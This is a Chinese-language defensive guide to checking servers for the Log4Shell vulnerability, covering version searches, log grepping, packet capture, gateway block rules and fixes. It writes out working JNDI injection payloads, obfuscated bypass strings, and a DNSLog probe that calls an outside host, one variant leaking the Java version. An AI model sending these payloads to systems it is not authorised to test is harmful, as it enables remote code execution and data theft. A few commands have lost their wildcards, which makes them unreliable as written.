判断服务器是否存在Log4j漏洞,不能只靠单一命令,必须组合使用版本排查、日志审计、主动探测三类方法交叉验证,才能得到可靠结论。Log4j漏洞(CVE-2021-44228,行业内俗称Log4Shell)爆发至今,已经历多次变种和绕过,很多服务器管理员至今仍搞不清:自己机器上到底有没有这个漏洞?装了新版是不是就万事大吉?这背后反映出一个共性问题检测Log4j不能靠搜个jar包文件名就拍板,需要一套完整的排查逻辑。
log4j漏洞检测方法有哪些
检测Log4j漏洞的核心逻辑只有一句话:找到组件、核对版本、验证可用性,但实际操作中,业务系统的复杂度远超想象,尤其是那些年头久、打包乱的Java应用,隐藏的Log4j副本可能比你想象的更多。
如何自查log4j漏洞的版本范围
排查的第一步是确定服务器上是否有Log4j组件,以及它的确切版本号,行业共识认为,受影响范围覆盖Log4j 2.x全系,直到2.15.0才完成首次修复,但后续针对2.15.0的绕过(CVE-2021-44832)意味着:升级到2.17.1及以上才算彻底安全。
动手操作前,先理清业务形态,Java应用通常有三种打包方式:
- 直接运行lib目录下的普通jar包
- 使用Spring Boot等框架打成的fat jar(所有依赖塞进一个jar里)
- 运行在Tomcat容器下的war包
分别用对应方式排查,在Linux服务器上,最直接的命令是:
find / -name "log4j-core-.jar" 2>/dev/null
这个命令会搜遍全盘,不管是Tomcat下的war解压目录、Spring Boot的fat jar内部,还是Maven的本地仓库,只要文件名带log4j-core的特征都能暴露,搜出来的结果,文件名本身就带着版本号(如log4j-core-2.14.1.jar),一眼就能判断是否命中漏洞区间。
但这里有个多年踩坑点:fat jar和war包里的依赖不会以单独jar文件形式暴露在磁盘上,全盘find搜不到,你需要主动解包检查:
- 对fat jar,执行
jar tf app.jar | grep log4j,列出所有jar包内的条目,查看有没有BOOT-INF/lib/log4j-core-.jar - 对war包,直接
unzip -p app.war WEB-INF/lib/log4j-core-.jar META-INF/MANIFEST.MF查看版本清单
使用Maven/Gradle构建的项目,直接检查pom.xml或build.gradle,搜索log4j-core和log4j-api的依赖声明,这里特别提醒:Log4j的API模块(log4j-api)本身不受该漏洞影响,真正出事的是Core模块。如果只看到log4j-api而找不到log4j-core,说明组件未完整引入,风险相对可控。
排查Log4j漏洞实际可以利用的入口
确认组件存在且版本可疑后,关键问题是:业务代码里是否存在漏洞的触发入口,Log4j漏洞的利用前提是:攻击者的输入被拼接入日志消息,且消息内容未经过滤就交给Log4j格式化,这意味着并非所有使用Log4j的系统都可被远程攻击,但多数情况下,HTTP请求头、请求参数、用户登录名、UA字段等位置都容易被拼进日志,因此默认按可利用处理。
一个实用的自查建议:在服务器入口网关(Nginx或负载均衡层)配置临时拦截规则,对包含${jndi:、${ldap:、${rmi:字符的请求直接阻断,再结合后续版本升级,可以降低紧急风险,但临时拦截只针对已知特征,不能作为长期防护手段。
log4j日志特征排查:从已有攻击痕迹判断
版本排查属于静态未雨绸缪,如果服务器已经运行过一段时间,直接翻日志找攻击痕迹是更快的方式,Log4Shell的利用payload有极强的特征字符串,搜索时主要关注两类:
- JNDI注入类:
${jndi:ldap://、${jndi:rmi://、${jndi:ldaps:// - 变形绕过类:
${${lower:jndi}、${::-j}ndi、${${env:FOO:-j}ndi:
在Linux服务器上,直接grep应用日志文件:
grep -r '\\${jndi:' /var/log/app/ 2>/dev/null
grep -r '\\${.jndi' /var/log/tomcat/ 2>/dev/null
但日志搜索存在现实盲区:多数日志系统会对特殊字符做转义或截断,比如日志打印时用了JSONLayout,可能把转义为\\u0024;或者日志只保留前几百字节,payload从中间插入时被切断,遇到这种情况,抓包分析更可靠。
如何通过抓包验证日志记录是否可触发
在应用服务器上执行tcpdump采集网络流量,过滤出外部对Web端口(如8080或8443)的访问请求,检查请求头(尤其是User-Agent、X-Forwarded-For、Referer)和POST提交的参数中是否带JNDI特征,如果服务器已存在历史攻击,大部分攻击者会使用带随机子域的DNSLog地址,这导致请求看起来像是正常的HTTP访问,很容易被日志排查漏掉,抓包则能完整还原攻击载荷。
需要强调的是,在部分场景下日志记录了攻击payload,但由于攻击者采用编码变形(如Unicode、十六进制编码),直接grep字符串会失手,此时可在日志采集端启用正则规则,匹配\\$\\{.(jndi|ldap|rmi|lower|env)这一类的模式,这种模式能覆盖绝大多数已知变体。
log4j漏洞验证工具与主动探测的可靠性
排查完静态文件和历史日志,最终的结论还得靠主动验证,市面上活跃的检测工具五花八门,从安全公司推出的扫描脚本到开源社区的检测工具,各有侧重。
常见的log4j漏洞检测工具有哪些
- 官方修复脚本:Apache官方提供
log4j2-scan脚本,用于扫描目录下所有jar包并识别版本号 - 综合扫描工具:Vulmap、Xray等均支持Log4j专项检测
- 商业扫描服务:各大云厂商的漏洞扫描平台(如简米云安骑士、酷番云主机安全)普遍集成Log4j检测插件
工具对比表格:
| 检测方式 | 检测原理 | 优点 | 局限 |
|---|---|---|---|
| 静态扫描脚本 | 比对jar包版本号 | 速度快、零侵入 | 无法确认是否可利用 |
| 主动DNSLog探测 | 发送JNDI注入payload观察回连 | 确认利用链是否通 | 可能触发业务告警 |
| 流量旁路检测 | 分析出口DNS请求和LDAP连接 | 真实还原攻击面 | 需要提前部署 |
工具选择上,尽量多重工具交叉验证,单一工具的结果不能作为漏与不漏的定性依据,业内专家指出,主动验证的准确率取决于payload构造和服务器出网策略,服务器本身不出网(即无法访问外网DNS/LDAP服务)时,即使存在JNDI注入点也无法利用,但仍需按漏洞处理。
用一个DNSLog请求验证Log4j是否生效
最可靠的验证方式是这样的流程:
- 获取一个DNSLog子域名(如
xxxx.ceye.io或log.xhyz.xyz) - 构造payload:
${jndi:ldap://log4j-test.xxxx.ceye.io/a} - 通过HTTP请求头、GET参数或POST表单提交到疑似存在漏洞的应用
- 等待数秒后回到DNSLog平台,查看是否收到解析请求
如果DNSLog收到请求,说明Log4j确实执行了JNDI查找,漏洞真实存在,如果直到超时都无回连,并不能立即排除漏洞很多服务器配置了防火墙出网策略,只放行80/443端口;或者业务代码对日志长度做了硬性截断,导致payload未完全写入,稳妥起见,在出网控制允许的前提下,可换成${jndi:ldap://log4j-test.xxxx.ceye.io}${java:version}这类带带敏感信息的payload,测试更深层的执行能力。
修复后确认Log4j漏洞已彻底堵死
升级Log4j到2.17.1以上不算完,确认升级生效才是收尾,实际工作中常出现:部署了新版jar包,但Tomcat缓存中加载的还是旧版本类文件,尤其在Tomcat的解压目录和fat jar的lib覆盖时极易发生,修复后的确认步骤需要认真执行:
- 重启Java进程,确保配置生效
- 再次执行
find / -name "log4j-core-.jar",确认所有路径均为新版本 - 检查运行中的进程实际加载的jar路径:
lsof -p PID | grep log4j,对比加载路径与预期是否一致 - 重新用DNSLog做一次主动探测,确认不再回连
- 查看应用日志,确认启动时是否出现关于Log4j版本初始化的信息(部分框架会在启动时打印版本)
修复漏洞不能只盯着log4j-core本身,业界总结的教训是:log4j-core依赖的JndiLookup类虽然默认禁用,但通过log4j2.component.properties或JVM系统参数-Dlog4j2.formatMsgNoLookups=true也能兜底,对于无法升级的老系统(如受网络隔离的遗产系统),设置这个JVM参数是缓解Log4j漏洞的有效辅助手段,但仍建议按计划推进版本升级。
服务器Log4j漏洞排查的常见误判
排查过程中,最常见的误判有两个:一是盲目相信全盘扫描结果,只扫了环境变量里的路径而漏掉自定义部署目录;二是把补丁版本当安全版本Log4j 2.15.0在后续被验证存在不可承受的绕过(CVE-2021-44832),直接升级到旧版补丁约等于没修。
关于主动验证,尤其注意域外访问问题,安全人员在目标服务器上执行DNSLog验证时,Linux服务器本身把DNS请求交给内网DNS转发,攻击者的ip只会到达内网DNS,不回连到外网平台这种情况会误报为“无漏洞”,正确做法是再看看内网DNS的解析记录(如/var/log/messages中的dnsmasq日志),或者把DNSLog平台换成内网可访问的服务。
用表格总结排查优先级
| 排查手段 | 优先级 | 适用场景 |
|---|---|---|
| jar包全盘查找+版本核对 | 高 | 所有服务器 |
| 日志攻击特征搜索 | 高 | 已运行一段时间的业务 |
| 全端口抓包审计 | 中 | 有疑似攻击但日志不全 |
| 主动DNSLog验证 | 中 | 确认是否可利用 |
| 商业扫描工具 | 低 | 补充验证、定期巡检 |
Q&A:log4j漏洞排查常见问题解答
Q:给服务器打Log4j补丁后怎样确认漏洞已修复?
A:按三步核实:先重新扫描jar包确认所有log4j-core文件版本号不低于2.17.0,再检查运行进程实际加载的路径(lsof -p PID | grep log4j),最后重启应用并再次用DNSLog探测,如果探测无回连且进程加载路径正确,基本可以判定修复到位,尤其注意Tomcat解压目录中的旧版本残留,这是升级后依然显示有漏洞的直接原因。
Q:log4j漏洞检测工具哪个准确?
A:没有哪个单一工具是全面准确的,静态扫描工具对fat jar和war包的覆盖度普遍有限,较可靠的做法是“静态扫描+主动探测+流量旁路”组合使用,在攻防场景下,主动探测的准确性最高,但会留下攻击日志,日常巡检建议重点依赖全盘jar查找和日志特征搜索,定期演练时才进行主动DNSLog探测验证。
最终定论:判断服务器是否有Log4j漏洞,本质上是判断“组件版本、触发入口、出网通信”三项条件同时成立,交叉验证三条链路后,得到的结论才是可信且可复现的,任何单一维度的检查结果都不能作为最终防控依据,记住这一点,就能避开大量白忙活的排查。
首发原创文章,作者:王坚,如若转载,请注明出处:https://idctop.com/%e5%a6%82%e4%bd%95%e7%a1%ae%e8%ae%a4%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%9c%89log4j%e6%bc%8f%e6%b4%9e%ef%bc%8clog4j%e6%bc%8f%e6%b4%9e%e6%80%8e%e4%b9%88%e6%a3%80%e6%b5%8b%ef%bc%9f/


